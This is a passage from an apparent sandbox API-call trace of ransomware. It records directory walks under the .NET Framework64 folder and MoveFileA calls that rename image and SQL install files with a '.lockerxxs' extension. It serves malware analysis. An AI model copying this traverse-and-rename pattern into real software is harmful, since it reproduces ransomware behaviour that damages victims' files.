lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.584] CloseHandle (hObject=0x94) returned 1 [0138.584] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\security_watermark.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\security_watermark.jpg"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\security_watermark.jpg.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\security_watermark.jpg.lockerxxs")) returned 1 [0138.591] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.591] CloseHandle (hObject=0x94) returned 1 [0138.591] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\topGradRepeat.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\topgradrepeat.jpg"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\topGradRepeat.jpg.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\topgradrepeat.jpg.lockerxxs")) returned 1 [0138.593] lstrcmpA (lpString1=".", lpString2="Providers") returned -1 [0138.593] lstrcmpA (lpString1="..", lpString2="Providers") returned -1 [0138.593] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Providers\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe870120, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee8988a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee8988a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x5015a2, cFileName=".", cAlternateFileName="")) returned 0x502658 [0138.597] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.597] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.597] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.598] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0138.598] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0138.598] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe870120, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee8988a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee8988a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0138.600] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.601] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.601] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.603] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.603] CloseHandle (hObject=0x98) returned 1 [0138.606] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.606] CloseHandle (hObject=0x94) returned 1 [0138.607] lstrcmpA (lpString1=".", lpString2="Security") returned -1 [0138.607] lstrcmpA (lpString1="..", lpString2="Security") returned -1 [0138.607] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe870120, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeeaf9e4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeeaf9e4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20004f, dwReserved1=0x450044, cFileName=".", cAlternateFileName="")) returned 0x502658 [0138.610] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.610] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.610] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.610] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0138.610] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0138.610] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe870120, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee8988a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee8988a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0138.613] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.614] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.614] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.616] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.616] CloseHandle (hObject=0x98) returned 1 [0138.617] lstrcmpA (lpString1=".", lpString2="Permissions") returned -1 [0138.617] lstrcmpA (lpString1="..", lpString2="Permissions") returned -1 [0138.617] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Permissions\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe89627a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee8988a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee8988a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610063, dwReserved1=0x52006c, cFileName=".", cAlternateFileName="")) returned 0x502698 [0138.620] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.620] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.620] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.620] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0138.620] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0138.620] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Permissions\\App_LocalResources\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe89627a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee8988a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee8988a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0138.621] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.621] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.621] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.626] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.626] CloseHandle (hObject=0x9c) returned 1 [0138.629] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.629] CloseHandle (hObject=0x98) returned 1 [0138.629] lstrcmpA (lpString1=".", lpString2="Roles") returned -1 [0138.629] lstrcmpA (lpString1="..", lpString2="Roles") returned -1 [0138.629] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Roles\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe8bc3d4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeeaf9e4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeeaf9e4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690073, dwReserved1=0x6e006f, cFileName=".", cAlternateFileName="")) returned 0x502698 [0138.632] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.633] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.633] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.633] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0138.633] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0138.633] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Roles\\App_LocalResources\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe8e252e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee8988a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee8988a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0138.634] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.635] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.635] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.640] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.640] CloseHandle (hObject=0x9c) returned 1 [0138.643] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.643] CloseHandle (hObject=0x98) returned 1 [0138.645] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.646] CloseHandle (hObject=0x94) returned 1 [0138.646] lstrcmpA (lpString1=".", lpString2="Users") returned -1 [0138.646] lstrcmpA (lpString1="..", lpString2="Users") returned -1 [0138.646] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Users\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe908688, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeeaf9e4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeeaf9e4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x5015b4, cFileName=".", cAlternateFileName="")) returned 0x502698 [0138.649] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.649] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.649] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.651] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.651] CloseHandle (hObject=0x98) returned 1 [0138.651] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0138.651] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0138.651] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Users\\App_LocalResources\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe92e7e2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeeaf9e4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeeaf9e4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5015c0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0138.653] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.654] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.654] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.656] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.656] CloseHandle (hObject=0x9c) returned 1 [0138.658] lstrcmpA (lpString1=".", lpString2="Wizard") returned -1 [0138.658] lstrcmpA (lpString1="..", lpString2="Wizard") returned -1 [0138.658] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Wizard\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe95493c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeefbc98, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeefbc98, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f0048, dwReserved1=0x200057, cFileName=".", cAlternateFileName="")) returned 0x502698 [0138.660] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.660] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.660] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.661] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0138.661] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0138.661] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Wizard\\App_LocalResources\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe97aa96, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfef21df2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfef21df2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f220, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0138.664] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.664] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.664] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.666] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.666] CloseHandle (hObject=0x9c) returned 1 [0138.669] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.669] CloseHandle (hObject=0x98) returned 1 [0138.679] lstrcmpA (lpString1=".", lpString2="CONFIG") returned -1 [0138.679] lstrcmpA (lpString1="..", lpString2="CONFIG") returned -1 [0138.679] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe97aa96, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3fb91724, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3fb91724, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0138.681] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.682] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.682] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.682] lstrcmpA (lpString1=".", lpString2="Browsers") returned -1 [0138.682] lstrcmpA (lpString1="..", lpString2="Browsers") returned -1 [0138.682] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\Browsers\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9a0bf0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff00660e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff00660e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0138.684] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.685] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.685] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.687] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.687] CloseHandle (hObject=0x94) returned 1 [0138.692] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.693] CloseHandle (hObject=0x90) returned 1 [0138.703] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.703] CloseHandle (hObject=0x8c) returned 1 [0138.703] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallCommon.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installcommon.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallCommon.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installcommon.sql.lockerxxs")) returned 1 [0138.709] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.709] CloseHandle (hObject=0x8c) returned 1 [0138.709] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallMembership.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installmembership.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallMembership.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installmembership.sql.lockerxxs")) returned 1 [0138.716] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.716] CloseHandle (hObject=0x8c) returned 1 [0138.716] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallPersistSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installpersistsqlstate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallPersistSqlState.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installpersistsqlstate.sql.lockerxxs")) returned 1 [0138.726] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.726] CloseHandle (hObject=0x8c) returned 1 [0138.726] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallPersonalization.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installpersonalization.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallPersonalization.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installpersonalization.sql.lockerxxs")) returned 1 [0138.732] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.732] CloseHandle (hObject=0x8c) returned 1 [0138.732] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallProfile.SQL" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installprofile.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallProfile.SQL.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installprofile.sql.lockerxxs")) returned 1 [0138.738] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.738] CloseHandle (hObject=0x8c) returned 1 [0138.739] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallRoles.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installroles.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallRoles.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installroles.sql.lockerxxs")) returned 1 [0138.744] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.744] CloseHandle (hObject=0x8c) returned 1 [0138.745] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installsqlstate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallSqlState.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installsqlstate.sql.lockerxxs")) returned 1 [0138.751] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.751] CloseHandle (hObject=0x8c) returned 1 [0138.751] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallSqlStateTemplate.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installsqlstatetemplate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallSqlStateTemplate.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installsqlstatetemplate.sql.lockerxxs")) returned 1 [0138.757] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.757] CloseHandle (hObject=0x8c) returned 1 [0138.757] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallWebEventSqlProvider.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installwebeventsqlprovider.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallWebEventSqlProvider.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installwebeventsqlprovider.sql.lockerxxs")) returned 1 [0138.762] lstrcmpA (lpString1=".", lpString2="MSBuild") returned -1 [0138.762] lstrcmpA (lpString1="..", lpString2="MSBuild") returned -1 [0138.762] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\MSBuild\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9c6d4a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff00660e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff00660e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0138.763] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.763] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.763] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.767] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.767] CloseHandle (hObject=0x90) returned 1 [0138.774] lstrcmpA (lpString1=".", lpString2="MUI") returned -1 [0138.774] lstrcmpA (lpString1="..", lpString2="MUI") returned -1 [0138.775] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\MUI\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9ecea4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfea12ffe, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfea12ffe, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0138.775] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.775] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.775] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.775] lstrcmpA (lpString1=".", lpString2="0409") returned -1 [0138.776] lstrcmpA (lpString1="..", lpString2="0409") returned -1 [0138.776] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\MUI\\0409\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea12ffe, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff078a1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff078a1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0138.776] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.776] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.776] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.778] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.778] CloseHandle (hObject=0x94) returned 1 [0138.782] lstrcmpA (lpString1=".", lpString2="RedistList") returned -1 [0138.782] lstrcmpA (lpString1="..", lpString2="RedistList") returned -1 [0138.782] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\RedistList\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea39158, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x94c169de, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x94c169de, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0138.783] lstrcmpA (lpString1=".", lpString2=".") returned 